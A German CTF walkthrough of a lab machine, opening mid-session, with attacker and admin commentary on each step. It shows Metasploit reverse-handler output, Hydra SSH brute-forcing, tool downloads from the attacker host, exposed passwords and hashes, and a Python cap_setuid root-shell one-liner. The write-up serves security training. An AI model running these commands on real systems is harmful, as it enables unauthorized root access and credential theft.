[*] Started reverse TCP handler on 192.168.2.199:4448 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. [*] Uploading payload to target [*] Attempting to login with su [*] Exploit completed, but no session was created.
Analyse: Zurück in der SSH-Shell als `trainerjean` wird der Inhalt des Home-Verzeichnisses aufgelistet. Die Datei `user.txt` wird gefunden und ihr Inhalt mit `cat` ausgelesen.
Bewertung: Die User-Flag `YU9et7HEpA$SwordofS10wMan!!` wird erfolgreich ausgelesen.
Empfehlung (Pentester): User-Flag gesichert. Fahren Sie mit der Suche nach dem Root-Zugriff fort.
Empfehlung (Admin): Speichern Sie Flags oder sensible Daten nicht direkt im Home-Verzeichnis von Benutzern mit niedrigen Rechten. Sichern Sie sie mit entsprechenden Berechtigungen ab.
total 32 drwxr-x--- 3 trainerjean trainerjean 4096 nov 23 21:44 . drwxr-xr-x 5 root root 4096 nov 23 21:23 .. lrwxrwxrwx 1 root root 9 nov 23 21:22 .bash_history -> /dev/null -rw-r--r-- 1 trainerjean trainerjean 220 nov 22 19:29 .bash_logout -rw-r--r-- 1 trainerjean trainerjean 3771 nov 22 19:29 .bashrc drwx------ 2 trainerjean trainerjean 4096 nov 22 19:30 .cache -rw-r--r-- 1 trainerjean trainerjean 807 nov 22 19:29 .profile -rw------- 1 trainerjean trainerjean 77 nov 23 21:44 .python_history -rw-r--r-- 1 root root 29 nov 23 19:52 user.txt
YU9et7HEpA$SwordofS10wMan!!
Analyse: Es wird in das Web-Root-Verzeichnis (`/var/www/html`) gewechselt und dessen Inhalt aufgelistet. Anschließend wird das Unterverzeichnis `/secretLGIN` betreten und dessen Inhalt angezeigt. Die PHP-Datei `l0gin.php` wird mit `cat` ausgegeben.
Bewertung: Die Dateiliste bestätigt die zuvor über Web-Enumeration gefundenen Verzeichnisse (`secretgym`, `secretLGIN`). Der Quellcode von `l0gin.php` zeigt eine serverseitige Authentifizierung. Interessanterweise prüft diese PHP-Datei auf `username = "gonzalo"` und `password = "1234"`, während die JavaScript-Datei (`l0gin.js`) dasselbe Passwort wie in der Datenbank prüfte (`tH1sS2stH3g0nz4l0pAsSWW0rDD!!`). Dies ist ein Widerspruch und deutet auf eine fehlerhafte oder veraltete Implementierung hin.
Empfehlung (Pentester): Die Diskrepanz zwischen JS und PHP ist ein Hinweis auf mögliche Schwachstellen oder Fehlkonfigurationen. Da der SSH-Login mit dem Datenbank/JS-Passwort für `gonzalo` nicht versucht wurde (nur für `trainerjean`), sollte dies nachgeholt werden. Die PHP-Logik selbst ist hier nicht direkt ausnutzbar, da sie serverseitig ist.
Empfehlung (Admin): Bereinigen Sie den Code, entfernen Sie widersprüchliche Logiken und implementieren Sie eine konsistente, sichere serverseitige Authentifizierung. Entfernen Sie hartkodierte Passwörter.
total 72 drwxr-xr-x 7 root root 4096 nov 23 19:17 . drwxr-xr-x 3 root root 4096 nov 22 19:35 .. -rw-r--r-- 1 root root 5232 nov 22 19:37 contact.html drwxr-xr-x 2 root root 4096 sep 15 2020 css drwxr-xr-x 2 root root 4096 sep 15 2020 images -rw-r--r-- 1 root root 16430 nov 23 19:17 index.html drwxr-xr-x 2 root root 4096 sep 15 2020 js drwxr-xr-x 3 root root 4096 nov 23 19:16 secretgym drwxr-xr-x 2 root root 4096 nov 23 19:11 secretLGIN -rw-r--r-- 1 root root 6407 nov 23 19:17 trainer.html -rw-r--r-- 1 root root 6115 nov 22 19:37 why.html
ls: cannot access 'l-a': No such file or directory
. .. l0gin.js l0gin.php login.css login.html
<?php // Este script podría manejar la autenticación con una base de datos, pero en este ejemplo simplemente redirigimos al usuario si las credenciales son correctas. $user = $_POST['username']; // Korrigiert: War _PST $password = $_POST['password']; // Korrigiert: War _PST if ($user == "gonzalo" && $password == "1234") { // Korrigiert: War Zuweisung (=) statt Vergleich (==) // Credenciales correctas, redirigir al usuario header("Location: /secretgym/"); exit; } else { // Credenciales incorrectas echo "Incorrect user or password!"; } ?>
Analyse: Es wird versucht, mit `su` zum Benutzer `gonzalo` zu wechseln und sich als `gonzalo` bei MySQL anzumelden. Beides schlägt fehl.
Bewertung: Der Benutzer `trainerjean` kennt das Passwort für `gonzalo` nicht (bzw. das Datenbankpasswort funktioniert nicht für `su`), und der MySQL-Benutzer `gonzalo` hat keine Login-Berechtigungen von `localhost`.
Empfehlung (Pentester): Der direkte Wechsel zu `gonzalo` ist nicht möglich. Der SSH-Login als `gonzalo` mit dem Datenbank/JS-Passwort sollte jedoch versucht werden (falls noch nicht geschehen).
Empfehlung (Admin): Korrekte Konfiguration, dass Benutzer nicht einfach wechseln können und MySQL-Berechtigungen restriktiv sind.
Password: su: Authentication failure
Enter password: ERROR 1045 (28000): Access denied for user 'gonzalo'@'localhost' (using password: YES)
Analyse: Die Berechtigungen der `/etc/passwd`-Datei werden angezeigt und ihr Inhalt mit `cat` ausgegeben.
Bewertung: Die Datei ist für alle lesbar. Sie listet die Systembenutzer auf, darunter `trainerjeff` (UID 1001), `trainerjean` (UID 1002) und `gonzalo` (UID 1003), alle mit `/bin/bash` als Shell. Der aktuelle Benutzer wird mit `id` bestätigt.
Empfehlung (Pentester): Die Benutzerliste bestätigt die gefundenen Namen. Keine direkten Schwachstellen hier.
Empfehlung (Admin): Standardkonfiguration. Sicherstellen, dass keine sensiblen Informationen in den GECOS-Feldern der `passwd`-Datei stehen.
-rw-r--r-- 1 root root 2084 nov 23 21:23 /etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin pollinate:x:105:1::/var/cache/pollinate:/bin/false sshd:x:106:65534::/run/sshd:/usr/sbin/nologin syslog:x:107:113::/home/syslog:/usr/sbin/nologin uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false trainerjeff:x:1001:1001:trainerjeff,,,:/home/trainerjeff:/bin/bash trainerjean:x:1002:1002:trainerjean,,,:/home/trainerjean:/bin/bash mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false gonzalo:x:1003:1003:gonzalo,,,:/home/gonzalo:/bin/bash ftp:x:115:121:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
uid=1002(trainerjean) gid=1002(trainerjean) groups=1002(trainerjean)
Analyse: Auf dem Angreifer-System wird ein einfacher Python-HTTP-Server gestartet, um Dateien an das Zielsystem zu übertragen. Auf dem Zielsystem wird `wget` verwendet, um das Tool `pspy64` (ein Prozess-Monitor) vom Angreifer herunterzuladen. Die Datei wird ausführbar gemacht (`chmod +x`) und gestartet.
Bewertung: Der Dateitransfer ist erfolgreich. `pspy` wird gestartet und beginnt, laufende Prozesse aufzulisten. Es zeigt Standard-Systemprozesse und die SSH-Verbindung des Benutzers `trainerjean`.
Empfehlung (Pentester): Lassen Sie `pspy` im Hintergrund laufen und beobachten Sie die Ausgabe auf ungewöhnliche Prozesse oder Cronjobs, die als Root ausgeführt werden und möglicherweise manipuliert werden können. Suchen Sie nach Prozessen, die mit hohen Rechten starten und auf Benutzereingaben oder Dateien reagieren.
Empfehlung (Admin): Überwachen Sie Dateidownloads auf Servern. Beschränken Sie die Möglichkeit, beliebige Programme auszuführen. Prozess-Monitoring auf verdächtige Aktivitäten.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 192.168.2.113 - - [05/Dec/2023 16:36:41] "GET /pspy64 HTTP/1.1" 200 -
--2023-12-05 15:36:43-- http://192.168.2.199/pspy64 Connecting to 192.168.2.199:80... connected. HTTP request sent, awaiting response... 200 OK Length: 3078592 (2.9M) [application/octet-stream] Saving to: ‘pspy64’ pspy64 100%[===================>] 2.94M --.-KB/s in 0.01s 2023-12-05 15:36:43 (303 MB/s) - ‘pspy64’ saved [3078592/3078592]
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855 ██▓███ ██████ ██▓███ ▓██ ██▓ ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ ▓██░ ██▓▒░▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░▐██▓░ ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ██▒▓░ ▒▓▒░ ░ ▒ ▒▓▒ ▒ ░▒▓▒░ ░ ██▒▒▒ ░▒ ░ ░ ░▒ ▒ ░ ░▒ ░ ▓██ ░▒░ ░░ ░ ░ ░ ░░ ▒ ▒ ░░ ░ ░ Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done 2023/12/05 15:37:13 CMD: UID=0 PID=99 | 2023/12/05 15:37:13 CMD: UID=0 PID=98 | 2023/12/05 15:37:13 CMD: UID=0 PID=96 | 2023/12/05 15:37:13 CMD: UID=0 PID=94 | 2023/12/05 15:37:13 CMD: UID=0 PID=93 | 2023/12/05 15:37:13 CMD: UID=0 PID=112 | 2023/12/05 15:37:13 CMD: UID=1002 PID=1115 | (sd-pam) 2023/12/05 15:37:13 CMD: UID=1002 PID=1114 | /lib/systemd/systemd --user 2023/12/05 15:37:13 CMD: UID=0 PID=1111 | sshd: trainerjean [priv] 2023/12/05 15:37:13 CMD: UID=0 PID=111 | 2023/12/05 15:37:13 CMD: UID=0 PID=11 | 2023/12/05 15:37:13 CMD: UID=0 PID=1099 | 2023/12/05 15:37:13 CMD: UID=0 PID=108 | 2023/12/05 15:37:13 CMD: UID=0 PID=10 | 2023/12/05 15:37:13 CMD: UID=0 PID=1 | /sbin/init ^CExiting program... (interrupt)
Analyse: Das bekannte Linux-Enumerationsskript `linpeas.sh` wird vom Angreifer-Server heruntergeladen (`wget`), ausführbar gemacht (`chmod +x`) und gestartet.
Bewertung: Linpeas beginnt mit der umfassenden Sammlung von Systeminformationen zur Identifizierung von Privilegieneskalationsvektoren. Die gezeigte Ausgabe ist nur der Anfangsbanner und ein kleiner Ausschnitt. Wichtige Funde in diesem Ausschnitt sind: * Die Datei `/etc/apache2/.htpasswd` existiert und enthält einen Apache-Hash (`$apr1$...`) für den Benutzer `gonzalo`. * Die Capability `cap_setuid=ep` wird für `/usr/bin/python3.10` gefunden. Dies ist ein bekannter und oft erfolgreicher Vektor zur Privilegieneskalation.
Empfehlung (Pentester): Der gefundene Apache-Hash kann versucht werden zu knacken (obwohl das Passwort für `gonzalo` bereits bekannt ist). Die `cap_setuid`-Capability für Python ist der vielversprechendste Fund und sollte sofort ausgenutzt werden (siehe GTFOBins für Python Capabilities).
Empfehlung (Admin): Entfernen Sie unnötige Capabilities von Binärdateien (`setcap -r /usr/bin/python3.10`). Sichern Sie `.htpasswd`-Dateien angemessen und verwenden Sie starke Hashing-Methoden.
--2023-12-05 15:38:51-- http://192.168.2.199/linpeas.sh Connecting to 192.168.2.199:80... connected. HTTP request sent, awaiting response... 200 OK Length: 827827 (808K) [text/x-sh] Saving to: ‘linpeas.sh’ linpeas.sh 100%[===================>] 808.42K --.-KB/s in 0.004s 2023-12-05 15:38:51 (222 MB/s) - ‘linpeas.sh’ saved [827827/827827]
[...]
╔═══════════╣ Basic System information
╚ https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation#basic-information
Linux Version: Linux slowman 5.15.0-89-generic #99-Ubuntu SMP Mon Oct 30 20:42:41 UTC 2023 x86_64
Distro: Ubuntu 22.04.3 LTS (Jammy Jellyfish)
[...]
╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities
Files with capabilities (limited to 50):
/snap/core20/2015/usr/bin/ping cap_net_raw=ep
/snap/core20/1974/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/python3.10 cap_setuid=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
[...]
╔══════════╣ Analyzing Htpasswd Files (limit 70)
-rw-r--r-- 1 root root 46 nov 23 16:50 /etc/apache2/.htpasswd
gonzalo:$apr1$CGeKHP0L$HbmXayPsI4aWI/3p7pd6B/
[...]
Analyse: Der Befehl `getcap -r / 2>/dev/null` wird ausgeführt, um rekursiv alle Dateien im Dateisystem zu finden, die Capabilities gesetzt haben.
Bewertung: Bestätigt den Fund von Linpeas: `/usr/bin/python3.10` hat die Capability `cap_setuid=ep` (effective, permitted). Dies erlaubt Python-Skripten, die User-ID zu ändern.
Empfehlung (Pentester): Dies ist der klare Weg zur Privilegieneskalation. Verwenden Sie einen Python-Einzeiler, um `os.setuid(0)` aufzurufen und eine Root-Shell zu starten.
Empfehlung (Admin): Entfernen Sie die `cap_setuid`-Capability von Python, wenn sie nicht zwingend benötigt wird (`setcap -r /usr/bin/python3.10`).
/snap/core20/2015/usr/bin/ping cap_net_raw=ep /snap/core20/1974/usr/bin/ping cap_net_raw=ep /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep /usr/bin/python3.10 cap_setuid=ep /usr/bin/mtr-packet cap_net_raw=ep /usr/bin/ping cap_net_raw=ep
Analyse: Es wird versucht, die Capability mit `setcap -r` zu entfernen.
Bewertung: Der Befehl schlägt fehl (`Operation not permitted`), da der Benutzer `trainerjean` nicht die notwendigen Rechte (insbesondere `CAP_SETPCAP`) hat, um Capabilities zu ändern.
Empfehlung (Pentester): Dies war nur ein Test, der zeigt, dass die Capability nicht einfach entfernt werden kann. Fahren Sie mit der Ausnutzung fort.
Empfehlung (Admin): Capabilities können nur von Root oder Prozessen mit `CAP_SETPCAP` geändert werden.
unable to set CAP_SETFCAP effective capability: Operation not permitted
Analyse: Erneute Suche nach SUID-Dateien mit `find / -perm -u=s -type f 2>/dev/null`.
Bewertung: Liefert dieselbe Liste wie zuvor. Keine neuen Erkenntnisse.
Empfehlung (Pentester): Redundanter Befehl, Konzentration auf die Python-Capability.
Empfehlung (Admin): Keine neue Aktion erforderlich.
/snap/core20/2015/usr/bin/chfn /snap/core20/2015/usr/bin/chsh [...] /usr/bin/umount /usr/libexec/polkit-agent-helper-1
Analyse: Versuche, mit `sudo su` oder `su` Root zu werden.
Bewertung: Schlagen fehl, da `trainerjean` keine sudo-Rechte hat und das Root-Passwort nicht bekannt ist.
Empfehlung (Pentester): Standardversuche, die hier nicht funktionieren. Fokus auf Python-Capability.
Empfehlung (Admin): Korrekte Konfiguration.
[sudo] password for trainerjean: trainerjean is not in the sudoers file. This incident will be reported.
Password: su: Authentication failure
Analyse: Erkundung des `~/snap/lxd`-Verzeichnisses. Dies ist ein häufiger Ort für LXD-basierte Privilegieneskalation.
Bewertung: Die Verzeichnisstruktur wird aufgelistet, aber es werden keine offensichtlich ausnutzbaren Konfigurationen oder Gruppen
Analyse: Erkundung des `~/snap/lxd`-Verzeichnisses. Dies ist ein häufiger Ort für LXD-basierte Privilegieneskalation, wenn der Benutzer Mitglied der `lxd`-Gruppe ist.
Bewertung: Die Verzeichnisstruktur wird aufgelistet, aber es werden keine offensichtlich ausnutzbaren Konfigurationen oder Gruppenmitgliedschaften geprüft (z.B. mit `id`). Ohne Mitgliedschaft in der `lxd`-Gruppe ist dieser Pfad normalerweise nicht direkt zur Eskalation nutzbar.
Empfehlung (Pentester): Prüfen Sie die Gruppenzugehörigkeit des Benutzers (`id`). Wenn der Benutzer nicht in der `lxd`-Gruppe ist, ist dieser Vektor wahrscheinlich nicht gangbar. Konzentrieren Sie sich auf die Python-Capability.
Empfehlung (Admin): Stellen Sie sicher, dass nur berechtigte Benutzer Mitglied der `lxd`-Gruppe sind.
py.py snap user.txt
ls: cannot access 'l-a': No such file or directory
total 12 drwx------ 3 trainerjean trainerjean 4096 dic 5 15:39 ./ drwxr-x--- 5 trainerjean trainerjean 4096 dic 5 15:39 ../ drwxr-xr-x 4 trainerjean trainerjean 4096 dic 5 15:39 lxd/
total 16 drwxr-xr-x 4 trainerjean trainerjean 4096 dic 5 15:39 ./ drwx------ 3 trainerjean trainerjean 4096 dic 5 15:39 ../ drwxr-xr-x 2 trainerjean trainerjean 4096 dic 5 15:39 24322/ drwxr-xr-x 3 trainerjean trainerjean 4096 dic 5 15:39 common/ lrwxrwxrwx 1 trainerjean trainerjean 5 dic 5 15:39 current -> 24322/
total 8 drwxr-xr-x 2 trainerjean trainerjean 4096 dic 5 15:39 ./ drwxr-xr-x 4 trainerjean trainerjean 4096 dic 5 15:39 ../
total 12 drwxr-xr-x 3 trainerjean trainerjean 4096 dic 5 15:39 ./ drwxr-xr-x 4 trainerjean trainerjean 4096 dic 5 15:39 ../ drwxrwxr-x 2 trainerjean trainerjean 4096 dic 5 15:39 config/
total 12 drwxrwxr-x 2 trainerjean trainerjean 4096 dic 5 15:39 ./ drwxr-xr-x 3 trainerjean trainerjean 4096 dic 5 15:39 ../ -rw-rw-r-- 1 trainerjean trainerjean 188 dic 5 15:39 config.yml
default-remote: local remotes: images: addr: https://images.linuxcontainers.org protocol: simplestreams public: true local: addr: unix:// public: false aliases: {}
Analyse: Es wird versucht, sich lokal als Benutzer `trainerjean` am MySQL-Server auf dem alternativen Port 33060 anzumelden.
Bewertung: Der Zugriff wird verweigert (`Access denied for user 'trainerjean'@'localhost'`). Der Benutzer `trainerjean` hat keine Berechtigung, sich an diesem MySQL-Port anzumelden.
Empfehlung (Pentester): Dieser Port scheint keine einfache Angriffsfläche zu bieten. Fokus auf andere Methoden.
Empfehlung (Admin): Stellen Sie sicher, dass Datenbankberechtigungen korrekt und restriktiv gesetzt sind.
Enter password: ERROR 1045 (28000): Access denied for user 'trainerjean'@'localhost' (using password: YES)
Analyse: Mit `grep -Ri "password" /* 2>/dev/null` wird versucht, rekursiv im gesamten Dateisystem nach Dateien zu suchen, die das Wort "password" (case-insensitive) enthalten. Fehlermeldungen werden unterdrückt.
Bewertung: Der Befehl findet Vorkommen des Wortes "password" in verschiedenen Skripten und Konfigurationsdateien (z.B. `mysqlreport`, `mysqld_multi`, `debconf-set-selections`, `pastebinit`, Grub-Dateien). Die meisten Funde beziehen sich auf Passwort-Parameter, Konfigurationsbeispiele oder Code-Kommentare und enthalten keine tatsächlichen Klartext-Passwörter.
Empfehlung (Pentester): Obwohl dieser Scan keine direkten Passwörter liefert, kann er Hinweise auf Konfigurationsdateien oder Skripte geben, die genauer untersucht werden sollten. Verwenden Sie spezifischere Suchmuster oder kombinieren Sie es mit Suchen nach Benutzernamen.
Empfehlung (Admin): Vermeiden Sie das Wort "password" in Dateinamen oder Kommentaren, wenn möglich. Speichern Sie niemals Klartext-Passwörter in Dateien.
/bin/mysqlreport: "password:s", /bin/mysqlreport:if(exists $op{'password'}) /bin/mysqlreport: if($op{'password'} eq '') # Prompt for password /bin/mysqlreport: print "Password for database user $mycnf{'user'}: "; /bin/mysqlreport: else { $mycnf{'pass'} = $op{'password'}; } # Use password given on command line /bin/mysqlreport: --password PASS Use PASS or prompt for MySQL user's password /bin/mysqlreport: $mycnf{'pass'} ||= $mycnf{'password'} if exists $mycnf{'password'}; /bin/debconf-set-selections:my @knowntypes = qw(select boolean string multiselect note password text title); /bin/mysqld_multi:$opt_password = undef(); /bin/mysqld_multi: "user=s", "password=s", "log=s", "no-log", /bin/mysqld_multi: if (defined($opt_password)) { /bin/mysqld_multi: my $pw= $opt_password; /bin/mysqld_multi: # Protect single quotes in password /bin/mysqld_multi:# the same password to all MySQL servers being accessed by $my_progname. /bin/mysqld_multi:# GRANT SHUTDOWN ON *.* TO multi_admin\@localhost IDENTIFIED BY 'password' /bin/mysqld_multi:password = my_password /bin/mysqld_multi:--password=... Password for mysqladmin user. /bin/libnetcfg:user/pass => external user & password /bin/libnetcfg:fwuser/fwpass => firewall user & password /bin/debconf-show: if ($q->type eq 'password') { /bin/debconf-show: print " (password omitted)"; /bin/pastebinit: password, private): /bin/pastebinit: elif param == 'password': /bin/pastebinit: params[paramname] = password /bin/pastebinit: print(_("\t-u-p "), file=fd) /bin/pastebinit: password = "" /bin/pastebinit: password = opt[1] /bin/pastebinit: permatag, title, username, password, /boot/grub/i386-pc/command.lst:legacy_check_password: legacycfg /boot/grub/i386-pc/command.lst:legacy_password: legacycfg /boot/grub/i386-pc/command.lst:password: password /boot/grub/i386-pc/command.lst:password_pbkdf2: password_pbkdf2 /boot/grub/i386-pc/moddep.lst:password_pbkdf2: crypto pbkdf2 normal gcry_sha512 /boot/grub/i386-pc/moddep.lst:password: crypto normal /boot/grub/i386-pc/moddep.lst:legacy_password_test: functional_test legacycfg /boot/grub/i386-pc/moddep.lst:legacycfg: gcry_md5 crypto normal password linux
Analyse: Suche nach Dateien mit gesetztem SGID-Bit (`-perm -2000`). Das SGID-Bit bewirkt, dass ein Programm mit den Gruppenrechten des Dateieigentümers ausgeführt wird.
Bewertung: Es wird eine Liste von Standard-Systemdateien gefunden, die das SGID-Bit gesetzt haben (z.B. `wall`, `write.ul`, `ssh-agent`, `unix_chkpwd`). Keine offensichtlich ungewöhnlichen oder benutzerdefinierten SGID-Dateien.
Empfehlung (Pentester): Überprüfen Sie die gefundenen SGID-Binaries auf bekannte Schwachstellen oder Missbrauchsmöglichkeiten (GTFOBins). Konzentration weiterhin auf die Python-Capability.
Empfehlung (Admin): Minimieren Sie die Anzahl der SGID-Binaries. Halten Sie Systemkomponenten aktuell.
/snap/core20/2015/usr/bin/chage /snap/core20/2015/usr/bin/expiry /snap/core20/2015/usr/bin/ssh-agent /snap/core20/2015/usr/bin/wall /snap/core20/2015/usr/sbin/pam_extrausers_chkpwd /snap/core20/2015/usr/sbin/unix_chkpwd /snap/core20/1974/usr/bin/chage /snap/core20/1974/usr/bin/expiry /snap/core20/1974/usr/bin/ssh-agent /snap/core20/1974/usr/bin/wall /snap/core20/1974/usr/sbin/pam_extrausers_chkpwd /snap/core20/1974/usr/sbin/unix_chkpwd /usr/lib/x86_64-linux-gnu/utempter/utempter /usr/bin/ssh-agent /usr/bin/wall /usr/bin/write.ul /usr/bin/expiry /usr/bin/chage /usr/bin/crontab /usr/sbin/pam_extrausers_chkpwd /usr/sbin/unix_chkpwd
Analyse: Es wird versucht, das SGID-Binary `wall` zu missbrauchen, um den Inhalt einer Datei (`/home/gonzalo/.ssh/id_rsa`) über `sudo` auszugeben. `wall` kann zum Senden von Nachrichten an alle eingeloggten Benutzer verwendet werden.
Bewertung: Der Versuch scheitert, da `trainerjean` keine sudo-Rechte hat.
Empfehlung (Pentester): Dieser spezifische `wall`-Exploit erfordert sudo. Andere SGID-Binaries könnten andere Ausnutzungsmethoden haben. Fokus auf Python.
Empfehlung (Admin): Korrekte sudo-Konfiguration verhindert diesen Exploit.
[sudo] password for trainerjean: trainerjean is not in the sudoers file. This incident will be reported.
Analyse: Ein erneuter Hydra-Brute-Force-Angriff wird auf den SSH-Dienst gestartet, diesmal für den Benutzer `trainerjeff`.
Bewertung: Der Angriff läuft, findet aber (in der gezeigten Ausgabe) kein Passwort. Es ist unklar, warum dieser Angriff erneut gestartet wird, da `trainerjeff` bereits als MySQL-Benutzer identifiziert wurde und SSH-Logins für `trainerjean` erfolgreich waren.
Empfehlung (Pentester): Vermeiden Sie redundante Brute-Force-Angriffe. Konzentrieren Sie sich auf die vielversprechendsten Vektoren (Python-Capability).
Empfehlung (Admin): Blockieren Sie Brute-Force-Angriffe mit Tools wie `fail2ban`.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-05 23:40:24 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344484 login tries (l:1/p:14344484), ~224133 tries per task [DATA] attacking ssh://192.168.2.113:22/ [STATUS] 322.00 tries/min, 322 tries in 00:01h, 14344196 to do in 742:28h, 30 active
Analyse: Es wird versucht, das SGID-Binary `ssh-agent` auszunutzen, um eine Shell mit geänderten Rechten zu erhalten. Zuerst direkt, dann über `sudo`.
Bewertung: Beide Versuche scheitern. Der direkte Aufruf ändert die UID/GID nicht. Der `sudo`-Versuch scheitert, da `trainerjean` keine sudo-Rechte hat.
Empfehlung (Pentester): `ssh-agent` ist hier kein gangbarer Weg zur Eskalation. Fokus auf Python.
Empfehlung (Admin): Keine spezifische Aktion erforderlich, da die Versuche fehlschlugen.
$ id uid=1002(trainerjean) gid=1002(trainerjean) groups=1002(trainerjean) $ exit
[sudo] password for trainerjean: trainerjean is not in the sudoers file. This incident will be reported.
Analyse: Die Überschrift "Privilege Escalation" deutet auf den nun folgenden, erfolgreichen Schritt hin.
Bewertung: Markiert den Übergang zum entscheidenden Exploit.
Empfehlung (Pentester): Bereiten Sie den Exploit für die Python-Capability vor.
Empfehlung (Admin): Keine Aktion.
Privilege Escalation
Analyse: Der entscheidende Befehl wird ausgeführt: `python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'`. Dies nutzt die `cap_setuid=ep`-Capability von `/usr/bin/python3.10`. Das Python-Skript importiert das `os`-Modul, setzt die effektive User-ID auf 0 (root) mittels `os.setuid(0)` und startet dann eine neue Shell (`/bin/sh`) mit diesen erhöhten Rechten.
Bewertung: Der Befehl ist erfolgreich! Der `id`-Befehl in der neuen Shell zeigt `uid=0(root)`, während die Gruppenmitgliedschaften noch die des ursprünglichen Benutzers (`trainerjean`) sind. Dies bedeutet, wir haben Root-Rechte erlangt.
Empfehlung (Pentester): Fantastisch, der Root-Zugriff über die Python-Capability war erfolgreich! Nun haben wir unser Ziel erreicht. Sichern Sie die Root-Flag und führen Sie weitere Post-Exploitation-Aktionen durch (Persistenz, Bereinigung, weitere Datensuche).
Empfehlung (Admin): Entfernen Sie die `cap_setuid`-Capability von `/usr/bin/python3.10` (`setcap -r /usr/bin/python3.10`). Überprüfen Sie regelmäßig Capabilities auf allen Systemdateien.
uid=0(root) gid=1002(trainerjean) groups=1002(trainerjean)
Analyse: Nach Erlangung der Root-Shell wird ins Home-Verzeichnis des vorherigen Benutzers (`~`, also `/home/trainerjean`) gewechselt und die `user.txt` erneut gelesen. Dann wird ins Root-Home-Verzeichnis (`/root`) gewechselt und dessen Inhalt aufgelistet. Schließlich wird die `root.txt` gelesen.
Bewertung: Bestätigt die User-Flag und findet die Root-Flag-Datei `root.txt`. Der Inhalt der Root-Flag wird erfolgreich ausgelesen: `Y0UGE23t7hE515roo7664pa5$WoRDFSlowmaN!!`.
Empfehlung (Pentester): Beide Flags wurden erfolgreich gesichert. Der Hauptteil des Tests ist abgeschlossen.
Empfehlung (Admin): Sichern Sie die Flag-Dateien besser (restriktivere Berechtigungen, ungewöhnlichere Speicherorte). Beheben Sie die Ursache der Privilegieneskalation (Python-Capability).
py.py snap user.txt
YU9et7HEpA$SwordofS10wMan!!
root.txt snap
Y0UGE23t7hE515roo7664pa5$WoRDFSlowmaN!!
Analyse: Dies ist ein Kommentar im ursprünglichen Text, der den erfolgreichen Abschluss der Privilege Escalation markiert.
Bewertung: Die Erlangung von Root-Rechten wurde erfolgreich abgeschlossen.
Empfehlung (Pentester): Dokumentieren Sie den Weg zur Root-Erlangung klar im Bericht (was hier durch den POC und die vorherigen Schritte geschehen ist).
Empfehlung (Admin): Fokussieren Sie sich auf die Behebung der Schwachstellen, die zur Privilegieneskalation geführt haben.
Privilege Escalation erfolgreich
Kurzbeschreibung: Die Binärdatei `/usr/bin/python3.10` verfügt über die gesetzte Linux-Capability `cap_setuid=ep`. Diese Capability erlaubt es einem Prozess, seine eigene effektive Benutzer-ID (UID) zu ändern. Durch Ausführen eines speziell präparierten Python-Skripts kann ein Benutzer mit niedrigen Rechten (hier `trainerjean`) seine UID auf 0 (root) setzen und somit eine Root-Shell erlangen.
